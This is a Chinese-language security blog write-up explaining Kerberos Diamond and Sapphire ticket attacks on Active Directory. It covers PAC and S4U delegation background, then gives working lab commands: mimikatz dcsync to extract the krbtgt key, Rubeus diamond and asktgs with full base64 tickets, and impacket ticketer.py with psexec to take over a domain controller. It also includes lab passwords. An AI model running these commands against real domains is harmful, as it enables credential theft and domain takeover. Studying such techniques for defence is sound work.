新一代Kerberos攻擊 | 鉆石票據與藍寶石票據
0x01 前言
在了解票據攻擊的過程中,看見了一篇文章使用Rubeus進行鉆石票據攻擊。但是沒有原理,于是抱著學習的心態在Google上尋找文章發現除了鉆石票據還有藍寶石票據。
0x02 補充知識
在后滲透當中,咱擁有域控一定的權限之后就可以轉儲ntds.dit并獲取krbtgt密鑰。而黃金票據和白銀票據的問題在于它們很容易被發現。一旦 KDC服務收到TGT/ST,并且在SIEM中收到日志,就很容易被現在的安全設備所檢測出來。
黃金票據攻擊和鉆石票據攻擊都需要訪問krbtgt密鑰。然而,鉆石票據攻擊需要訪問AES256密鑰。黃金票證攻擊則是利用偽造票證授予票證 (TGT) ,而鉆石票證攻擊則利用了域控制器 (DC) 請求的真實 TGT 進行解密和重新加密進行票據攻擊。
鉆石票據與藍寶石票據的區別,在鉆石票據攻擊當中,修改是通過添加額外權限或完全修改所請求的 TGT 的原始 PAC。而在藍寶石票據當中,則是使用 Kerberos 委派獲取高權限用戶的合法 PAC 來修改 TGT,并將其替換為原始票證的 PAC。
什么是 Kerberos 特權屬性證書 (PAC)?
通過微軟文檔知道PAC 是一種傳遞域控制器 (DC)提供的授權相關信息的結構。身份驗證協議使用 PAC 來驗證身份以傳輸授權信息,從而控制對資源的訪問。完成身份驗證后,下一個任務是決定是否授權特定請求。而 DC 包括 PAC 中的授權數據,例如安全標識符 (SID)和相對標識符 (RID)
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/54d570b1-fc54-4c54-8218-f770440ec334
Kerberos委派
Microsoft 實施了 Kerberos 擴展以避免將用戶的 TGT 保留在內存中。該擴展稱為S4U(Service for User),它由S4U2Self和S4U2Proxy組成。S4U2Self 允許服務代表任何用戶向其自身請求票證。S4U2Proxy 將允許一個服務向另一個服務進行身份驗證。
我們在這里只簡單寫一下約束委派,這是藍寶石票據利用需要的。那么其他委派可以參考:
https://blog.netwrix.com/2021/11/30/what-is-kerberos-delegation-an-overview-of-kerberos-delegation/#:~:text=Kerberos%20Delegation%20is%20a%20security,account%20for%20any%20other%20network
S4U2Self
允許服務獲取其自身的 Kerberos服務票證的擴展。服務票證 包含用戶的組,因此可用于授權決策。要使用此協議擴展,發出KRB_TGS_REQ的用戶必須至少具有一個服務主體名稱 (SPN),以允許 DC 使用服務密鑰加密生成的服務票證。
S4U2U KRB_TGS交換流程:
- 服務填寫PA_FOR_USER數據結構,其中包含有關服務代表其請求服務票證的用戶的信息,并向 TGS 發送 KRB_TGS_REQ 消息。
- 服務票證將通過 KRB_TGS_REQ 消息發送回服務。服務票據中返回的 PAC 包含授權數據。
U2U Authentication
允許客戶端請求使用 TGT 中的會話密鑰對 KDC 頒發的票證進行加密,該會話密鑰來自頒發給驗證身份驗證方的 TGT。
https://www.rfc-editor.org/rfc/rfc4120#section-3.7
KRB_TGS_REQ 將具有以下功能:
- extra-tickets:將包含從中獲取秘密密鑰的 TGT
- ENC-TKT-IN-SKEY:選項指示終端服務器的票證將在來自提供的附加 TGT 的會話密鑰中加密。服務名稱(sname)可以指用戶,但不一定是具有 SPN 的服務。
U2U + S4U2Self
允許沒有 SPN 的用戶使用 S4U2Self 擴展。在此交換中收到的服務票證使用服務器的密鑰進行加密(在這種特定情況下,服務器可以是沒有 SPN 的用戶),因此,可以使用服務器的密鑰來解密目標用戶的 PAC。KRB_TGS_REQ 數據包將具有這兩種方法的所有功能。
我們也可以參考微軟的術語表,通過搜索引擎查找更加詳細的文章
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/4a624fb5-a078-4d30-8ad1-e9ab71e0bc47#gt_2214804a-4a44-46f4-b6d2-a78f4ff39a39

0x03 鉆石票據(Diamond Ticket)
鉆石票據只需請求普通票證、解密 PAC、修改、重新計算簽名并再次加密,生成與合法 PAC 高度相似的 PAC,并且還可以生成合法請求。
在這里我們使用Rebeus進行鉆石票據攻擊的利用。
利用前提:
- krbtgt aes256密鑰
- 域密碼
- 域控高權限
首先我們使用mimikatz獲取krgtgt的aes256密鑰
shell C:\Users\administrator\Desktop\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:de1ay.com /user:krbtgt" "exit"


krbkey:42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118 user:mssql password:1qaz@WSX domain:de1ay.com dc:dc.de1ay.com ticketuser:administrator

在我們使用鉆石票據之前,低權限的主機是無法訪問域控的。那么有了以上這些信息,我們接著在低權限的機器里上傳Rubeus開始進行鉆石票據攻擊
shell C:\Users\mssql\Desktop\Rubeus.exe diamond /krbkey:42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118 /user:mssql /password:1qaz@WSX /enctype:aes /domain:de1ay.com /dc:dc.de1ay.com /ticketuser:administrator /ptt /nowrap

那么我們成功拿到了ticket.kirbi
doIFOjCCBTagAwIBBaEDAgEWooIEQzCCBD9hggQ7MIIEN6ADAgEFoQsbCURFMUFZLkNPTaIeMBygAwIBAqEVMBMbBmtyYnRndBsJREUxQVkuQ09No4IEATCCA/2gAwIBEqEDAgEDooID7wSCA+szGDMdUZAhjLgE3qMBr5MTc5dckpDKwNP8b2X8tAIrhNFCvUzf9Cv5V/0ku9XV8NLAU9++HldhkqOlyhoC9lCqMF28LbqlVJej/50CH8Zyp6aG2/nj3MyJc4RRvaLi88zu5BRrvmTRzB7AYR6Y/oOSfB7dGl38uwWxQSLOfCHgXIiXScR0VEXTkmgkuHkYp4b+Z+FDgGvCObP4oqJ3FLgUwoFphLnujdjKLtMH0oQexkZvHOBzD7phLgjYl1SB0FycF+iPVc+2zId6IW4jgroSCyVKGo7jsuLcocwRlAw5poPPtJHaHid/gGEG7OFXllvdzU0eGiZSuZiDyDrWMTbYbmz0byS7gPEZCT7oXcnRQJUSD4Ogc+ISokf/8g/qYCN0FDgumPRh/D346Y4SRRkxuXKXMvUzhblSwBXTN+9RMfS9RbWX4C0v7ROO3Yse3/jx9omGSE+A25r8bZ9ZsFhXtDveKVBTbnugVAdevVjy90zNvRb0h7Q3ZB8jEKfZO0wPBmFiKRXP9/J+OIUeOU+tL/EpzDB80KDZg9/sUoOETxMwDW/KMAthL4FzWiKyfIyjR0QhhJy20RY4tHlC5fbC5beT179cJViw960oZNYOTsBtLYe1JHH+IJmVAeZ6SdACVTThOBIL1u/D0mowpwzuc/cZzGzlOO5KimN/3Yp0SUDIr62RYZz31LqdEoWoCcWE7Nz43uhxOLScXrA/q31MTQ+TzXlEJZGzWhbu2uXHzm49ZUUruORvg4fjkGFDdtl1tnazdnGrXAHA8ZH6r1sssYNAGgxfBY/NkOEKmEgLYOjZH35QiCQNo9/ZOl6titS23D8GJJIaq1SWf+gXeneZxQxfLxS49uIvXe+t49saOZcQ0AQ4C5tTAuWxUQ9ncCCyF/9XHvYVP6EBPyzaCgtQFn3TpbPfjtd5sa+NtOsCwiN5vKLia9taYEu9oAT+Ht+Ddy3O1SkLKVvWhrkIoLR345foUspatqwBY4vXDmVuxYNho3/XiWPR7obF8OYC8AggyIqDnJyUtS6dAkDlbbj98Tyvvhpo5CBynPBov0gl4wKmwkSvaawud77HCnPS1/nIbcSpTNrsfN+IrEgaWHqt7RiopeIAT8xHjwjol+GIYisCXj610woDHLDiVxcDEZGHxKeCI22DUXcAIBoQMvE/UsozNBEiqwHKU5WIiry295VXJkrJpIeIbDnLse+0EmTWQj6EaJv/SNREGC951bTmm4ZxQuMXOELawQ3jtlqqHaHYBtPODbwJd4/wXZ7/RVISVxkMZTrW6ICnLIqgsVCLgRmKtq6/RqdRq55qUA6nNhHNtKMR+UK+z/0Ao4HiMIHfoAMCAQCigdcEgdR9gdEwgc6ggcswgcgwgcWgKzApoAMCARKhIgQgFFYLhJYuJsG5bAITiU7Fdu0VY9GZQ7h7nyVe6T3FnhChCxsJREUxQVkuQ09NohowGKADAgEBoREwDxsNYWRtaW5pc3RyYXRvcqMHAwUAQOEAAKURGA8yMDIzMDgxMzA3MjkxOVqmERgPMjAyMzA4MTMxNzI5MTlapxEYDzIwMjMwODIwMDcyOTE5WqgLGwlERTFBWS5DT02pHjAcoAMCAQKhFTATGwZrcmJ0Z3QbCURFMUFZLkNPTQ==
接著就是利用拿到的ticket開始鉆石票據攻擊
shell C:\Users\mssql\Desktop\Rubeus.exe asktgs /ticket:doIFOjCCBTagAwIBBaEDAgEWooIEQzCCBD9hggQ7MIIEN6ADAgEFoQsbCURFMUFZLkNPTaIeMBygAwIBAqEVMBMbBmtyYnRndBsJREUxQVkuQ09No4IEATCCA/2gAwIBEqEDAgEDooID7wSCA+vCJjVu4BXMErHu9AbT4sKyrD3wcyA7nVgBYuedC2mW1SqJZY1C3u6HmSt0GkVEqKbV+vaj3kf+HdpwSmmj9gxyovEB18CoLR8r7hPpOA2jVsPZEC5jyT6jat+SPmhS0YQ5sHzHA/Qp6BINHSBCcQt4fhNMX0phz2ppa6wlIUty3vTRLtS8C0AzRZisN98ygNPaPOsGnsrHtlHfJr7FAYS39xUXuBQdFeqMF25Y3AnXcadtkCsjw/J2jTZZF05w2tRPitvBUQazC3wElgSJf4Hptq2ULF/ydCftPLPrxW7QMa2IlUHp44CwXMWr4g5WIuwMdMmQlSZ2BdEVuTSnp3jtGpBnsxhH/NZHtrCQFbTzUdiDe3fBIs38yPXUovcRwimDLv7mIoG/OvM/N0Q2ZQBEyQ1UxirowGYex2GaVOhud4TXNYT+ZXA+hGPD4fP0Aco60Ruj7mvoIibIXDL7RgQ+CZ/7lTOniIMa1s0DbIvBkyqu9feDDzZq/CQG93PRERr4iMR0pbr+GFEJq/ObUAVL+dAJXC6gZ2aVW5Bnnb2LxaP6ETkSgPJiWjBVviDB+U6aKMu9diH/qW4rbmBJlwORtMytTHhTMAlk/Q0/zMnJeyvVrPu0FPAcOANHTmjk/eLG3SHyHCr09c4A/K0HY6vBFVdYFG5+QoqsogFLNQ9+aIt3EyrIYcvdcEars2P95zoCrmLVSEDUDo7Oug5pixYYmkx6McgjUeoHkVeWrTH9lhsRY5HsT1HtwzcB1p2skO82mU21ISdxsFVSuLCTPwj1Zshy0pEx/wMLMz5KeAx7KIFuVFQVO4/0bSxJPHWY4q9R6Tbdy0C1kAWdeDJmrmtKw8OKY7nm9kS38WDwgOHOzRVoIdlrPCwL0DStD409P0OVUmTFqq1VevKwpeH5d/TetK35MLy6JfW52oH9dSM2LStQTwLGHqZ0/2O/WzDlzxXfTvBPYGO4kU05yrGplQhNX7lRwSn7FIHaHQ+HQ1XsPsR7Mb6MDBlo1ViNOCd/Bf9QhKKfcF9nB/9PFcHLiHzmwy5NDP53WG9GD07jBHJzxqde3NrhuzfThoh9OiggPQEvDvr4F+s4oSuLiHTZE01Ly/8jfyk3xsAv7nxdxibe60SDYGVINhG2RZos73O4fbSPqHIResToAobklkLFVePCTQhgcF/xwKa3MaA81V9LfVzMcTAFnnWtCLhIunesKCZn3UVuwyrTR6kgnshIgPZysFeppBpqpHRN+XpGc7YJdRo6f5j1WU6L9d61olLb19xDjc4CfeYwJiSZEY48d47WVu5Ruk35ZevqV8QfI9NWSGjwefCmGPXqjPLLo4HiMIHfoAMCAQCigdcEgdR9gdEwgc6ggcswgcgwgcWgKzApoAMCARKhIgQgcoXEQyOHq+NrtOFk6yBj7RsmO81Vqmbi4PvqaJmJqIqhCxsJREUxQVkuQ09NohowGKADAgEBoREwDxsNYWRtaW5pc3RyYXRvcqMHAwUAQOEAAKURGA8yMDIzMDgxMzA0MTgxNlqmERgPMjAyMzA4MTMxNDE4MTZapxEYDzIwMjMwODIwMDQxODE2WqgLGwlERTFBWS5DT02pHjAcoAMCAQKhFTATGwZrcmJ0Z3QbCURFMUFZLkNPTQ== /service:cifs/dc.de1ay.com /ptt /nowrap


成功以低權限機器訪問域控!就此鉆石票據也利用成功了。
0x04 藍寶石票據(Sapphire Ticket)
藍寶石票據攻擊可以創建一個模擬任何用戶的 TGT,結合 S4U2Self + U2U 組裝真正的 TGT 和真正的 PAC。該 PAC 會替換合法票據中的 PAC
我們目前通過剛才的lsadump::dcsync /domain:de1ay.com /all來獲取域的安全標識符(SID)

咱接下來使用的是impacket,下面這個Github項目是已經添加-impersonate功能的ticketer.py
https://github.com/ShutdownRepo/impacket/blob/sapphire-tickets/examples/ticketer.py
由于目前我環境的問題,這邊用的資料的截圖作為例子!
目前我們有以下信息
domain admin:snapattack domain:snapattcker.labs user:vgullible pass:Passw0rd1 aesKey:fec5d... .... domain-sid:S-1-5 ... ... DC:arrakis.snapattack.labs
那么我們就可以開始進行藍寶石票據攻擊
python3 ticketer.py -request -impersonate 'snapattack' -domain 'snapattack.labs' -user 'vgullible' -password 'Passw0rd1' -aesKey 'fec5d... ....' -domain-sid 'S-1-5-21-... ...' 'snapattcker'

export KRB5CCNAME=snapattcker.cache python3 psexec.py snapattack.labs/snapattack@arrakis.snapattack.labs cmd.exe -k debug -n


執行完之后,藍寶石票據就攻擊成功了。我們可以直接再次接管域控。
0x05 結尾
學習學習新技術,多漲漲自己的技術知識面!
# 參考鏈接: https://pgj11.com/posts/Diamond-And-Sapphire-Tickets/ https://jimmysured.github.io/2022/09/28/Diamond-Ticket-Sapphire-Ticket/ https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/ https://unit42.paloaltonetworks.com/next-gen-kerberos-attacks/#post-126011-_19wo0e5qmjx8